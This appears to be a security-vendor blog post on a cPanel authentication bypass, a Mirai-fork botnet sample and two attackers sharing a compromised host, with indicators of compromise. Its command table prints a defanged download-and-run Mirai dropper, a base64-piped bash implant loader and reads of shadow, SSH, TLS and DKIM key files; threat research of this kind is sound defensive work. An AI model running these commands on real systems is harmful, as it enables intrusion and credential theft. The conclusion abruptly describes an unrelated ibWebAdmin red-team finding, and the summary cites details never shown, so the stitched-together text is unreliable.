cPanel & Threat Actors nuclear
CVE-2026-41940 In the past 48 hours, HawkTrace captured a notable incident in which two threat actors with very different profiles ended up sharing the same compromised host, and eventually turning on each other.
cPanel RCE CVE-2026-41940
A critical authentication bypass vulnerability has been identified in cPanel & WHM with a CVSS score of 9.8. Disclosed on April 28, 2026, CVE-2026-41940 affects all currently supported versions of cPanel & WHM.
Technical Details
The vulnerability stems from cpsrvd writing a session file to disk before authentication occurs. An attacker can inject raw \r\n CRLF characters via a malicious Basic Authorization header, manipulating the whostmgrsession cookie to write arbitrary properties such as user=root into the session file. Once a session reload is triggered, the attacker obtains an admin-level token.
On top of that, the check_authok_user function returns AUTH_OK without ever consulting /etc/shadow when certain timestamp flags are set — bypassing password validation entirely. For the full code analysis, exploit chain, and detection artifact, refer to watchTowr's writeup.
Sina Kheirkhah (@SinSinology), watchTowr Labs
nuclear A Mirai Fork
MD5: 26fdc113cd46767e6fdc2dac14ad5508
SHA-256: c04d526eb0f7c7660a19871d1675383c8eaf5336651b255c15f4da4708835eb7
During routine analysis of samples collected through HawkTrace Threat Intelligence Sensors, we identified an artifact that, on initial inspection, appeared to be a conventional Mirai variant. Further static and dynamic analysis, however, revealed a notable fork that extends the original Mirai codebase with a Curve25519-based encrypted command-and-control channel and a broadened set of attack modules. Based on its structural and behavioral characteristics, the sample can be attributed to the Owari/Sora/Saikin lineage.
C2 Infrastructure
The main function populates the sockaddr_in structure with hardcoded values. Once the little-endian byte order is resolved, the C2 endpoint resolves to 112.89.24.89:23. Port 23 is a deliberate choice. Routing encrypted traffic through the telnet port allows it to blend in with legitimate telnet activity, which reduces the likelihood of detection by network monitoring systems.
Immediately after the TCP connection is established, sub_8056DC0 is invoked and the X25519 key exchange begins. The code signatures leave little room for doubt. The clamping pattern, the 32-byte key size, and the fixed base point at address 0x8065B80 are all characteristic indicators of X25519.
sub_8058000(priv, 32);
priv[0] &= 0xF8;
priv[31] = (priv[31] & 0x3F) | 0x40;
sub_8052210(pub, priv, BASE_POINT);
send(fd, pub, 32); recv(fd, peer_pub, 32);
sub_8052210(state.shared, priv, peer_pub);
sub_8050CA0(state, ...); The wire protocol uses a simple framing scheme. Each message begins with a 2-byte big-endian length prefix followed by the encrypted payload, with a maximum payload size of 1024 bytes. Without access to the server's private key, passive decryption of captured traffic is not feasible. Unlike vanilla Mirai, which relies on a static XOR key that can be trivially recovered, passive monitoring of this variant produces no usable intelligence.
The command format carried over the encrypted channel is a verbatim copy of the original Mirai CNC protocol. This indicates that while the transport layer has been modernized, the upper-layer protocol has been preserved.
[4 byte] duration (big-endian)
[1 byte] attack_id
[1 byte] target_count (N)
[N × 5 byte] target = [4 byte IP (BE) + 1 byte CIDR prefix]
[1 byte] option_count (M)
[M × {key, len, value}] options attack table
The function sub_8048760 registers a total of 20 attack handlers, a notable expansion over vanilla Mirai which typically ships with around 10 modules. Most of these are classic UDP and TCP flood variants, but three of them stand out.
| Weight | User | Pass | Target Device |
|---|---|---|---|
| 10 | root | xc3511 | Wansview/Foscam IP cam |
| 9 | root | vizxv | Zyxel router |
| 8 | root | admin | Generic |
| 6 | root | 888888 | Dahua DVR |
| 5 | root | xmhdipc | Hi3518 cam |
| 5 | root | juantech | Juan Technology |
| 4 | root | anko | Anko cam |
| 1 | ubnt | ubnt | Ubiquiti |
| 1 | root | 7ujMko0vizxv | KLV/ZTE/Hi3518 |
Persistence and Runtime Behaviors
The bot employs several techniques to maintain persistence and stealth on the system. A lock file is created at /var/B0tis, XOR'd with a 32-character random key, which prevents a second instance from running on the same host. Through a prctl()-like call, the process name is replaced with a random alphanumeric string, so the original name no longer appears in ps output. SIGCHLD is ignored and a custom handler is registered for SIGFPE, which is assessed to be aimed at disabling watchdog timers. When C2 resolution fails, sub_80580F0 falls back to four hardcoded DNS servers, namely 8.8.8.8, 1.1.1.1, 9.9.9.9, and 0xDED9FED0. Interface up and down events are monitored through NETLINK_USERSOCK multicast groups 12 to 18, and any network change triggers a C2 reconnect.
Obtaining a Session
The bash history captured on the honeypot shows two very different actors working on the same compromised host. One is loud and automated, the other patient and hands-on.
The first actor is running a standard IoT botnet recruitment wave. The same one-liner runs over and over, pulling down a Mirai binary, making it executable, launching it with the campaign tag xd, and wiping the file from disk while the process keeps running in memory. There is nothing tailored about it.
The second actor is a different story. Every command is wrapped in __S_MARK__, __E_MARK__, and __XEND__ markers, with export TERM=dumb and stty -echo used to keep the session quiet, all of which points to a post-exploitation framework parsing the output on the other end. The session opens with light reconnaissance through /proc/version and /etc/shadow, then moves into SSH key collection, sweeping up private keys, authorized_keys, and known_hosts from user directories. The known_hosts files alone are valuable, since they essentially hand over a map of nearby lateral movement targets. Shell history files under /home and /root are pulled along the way for operational context.
Put together, the multi-arch implant, the AI key hunting, the targeted DKIM collection, and one actor evicting the other from the host paint a picture of a 2026-era operation, and a clear snapshot of how botnet operators now actively compete for the same compromised infrastructure.
Indicators of Compromise
Network indicators
| Type | Indicator | Stage | Description |
|---|---|---|---|
| URL | hxxp://87.121.84[.]78/nuclear.x86 | Actor 1 — Mirai | Mirai variant binary, tagged xd |
| URL | hxxps://staticfiles-django.s3.amazonaws[.]com/linux_amd64 | Actor 2 — implant | x86_64 build |
| URL | hxxps://staticfiles-django.s3.amazonaws[.]com/linux_386 | Actor 2 — implant | i386 build |
| URL | hxxps://staticfiles-django.s3.amazonaws[.]com/linux_arm64 | Actor 2 — implant | ARM64 build |
| URL | hxxps://staticfiles-django.s3.amazonaws[.]com/linux_arm | Actor 2 — implant | ARM build |
| URL | hxxps://staticfiles-django.s3.amazonaws[.]com/linux_mipsle | Actor 2 — implant | MIPS little-endian build |
| URL | hxxps://staticfiles-django.s3.amazonaws[.]com/linux_mips | Actor 2 — implant | MIPS build |
| Base URL | hxxps://staticfiles-django.s3.amazonaws[.]com/ | Actor 2 — implant | Distribution endpoint hosted on AWS S3 |
| IP | 87.121.84[.]78 | Actor 1 — Mirai | Mirai binary distribution host |
Commands
| Stage | Purpose | Command |
|---|---|---|
| Actor 1 | Mirai recruitment one-liner | wget hxxp://87.121.84[.]78/nuclear.x86; chmod 777 nuclear.x86; ./nuclear.x86 xd; rm -rf nuclear.x86 |
| Actor 2 | TTY noise suppression | export TERM=dumb; stty -echo |
| Actor 2 | System fingerprinting | cat /proc/version |
| Actor 2 | Password hash collection | cat /etc/shadow |
| Actor 2 | Live memory secret extraction | cat /proc/*/environ | tr '\0' '\n' | grep -E ... |
| Actor 2 | Mirai termination | pkill -9 -f nuclear.x86 |
| Actor 2 | Obfuscated implant deployment | bash -c {echo,BASE64}|{base64,-d}|{bash,-i} |
| Actor 2 | Temporary archive scan workspace | mktemp -d /tmp/.scan_XXXX |
Targeted sensitive files
| Path | Purpose |
|---|---|
| /etc/shadow | Password hash extraction |
| /root/.ssh/authorized_keys | SSH access enumeration |
| /root/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa | SSH private key collection |
| /root/.ssh/known_hosts | Lateral movement target enumeration |
| /etc/ssh/ssh_host_rsa_key | SSH MITM and host impersonation |
| /etc/ssh/ssh_host_ed25519_key | SSH MITM and host impersonation |
| /etc/ssh/ssh_host_ecdsa_key | SSH MITM and host impersonation |
| /etc/ssl/private/s12427.dedi.leaseweb.net.key | TLS impersonation |
| /etc/apache2/conf.d/ssl.key/server.key | TLS impersonation |
| /var/cpanel/domain_keys/private/[...] | DKIM private key for email spoofing |
Conclusion
I found this chain during a red team engagement we were running at Red Team. What started as poking around ibWebAdmin's source ended up being a full auth bypass to RCE no credentials needed, straight to command execution on the box.
This is the kind of stuff we do at HawkTrace we dig into source code, trace the data flows manually, and find attack paths that scanners will never catch. If you're curious about what an actual attacker would find in your environment, hit us up.
Stay Protected
Security vulnerabilities are discovered constantly. HawkTrace helps organizations stay ahead of threats through comprehensive security assessments, APT simulations, and continuous threat hunting.
Need expert security consultation? Contact us or explore more research.
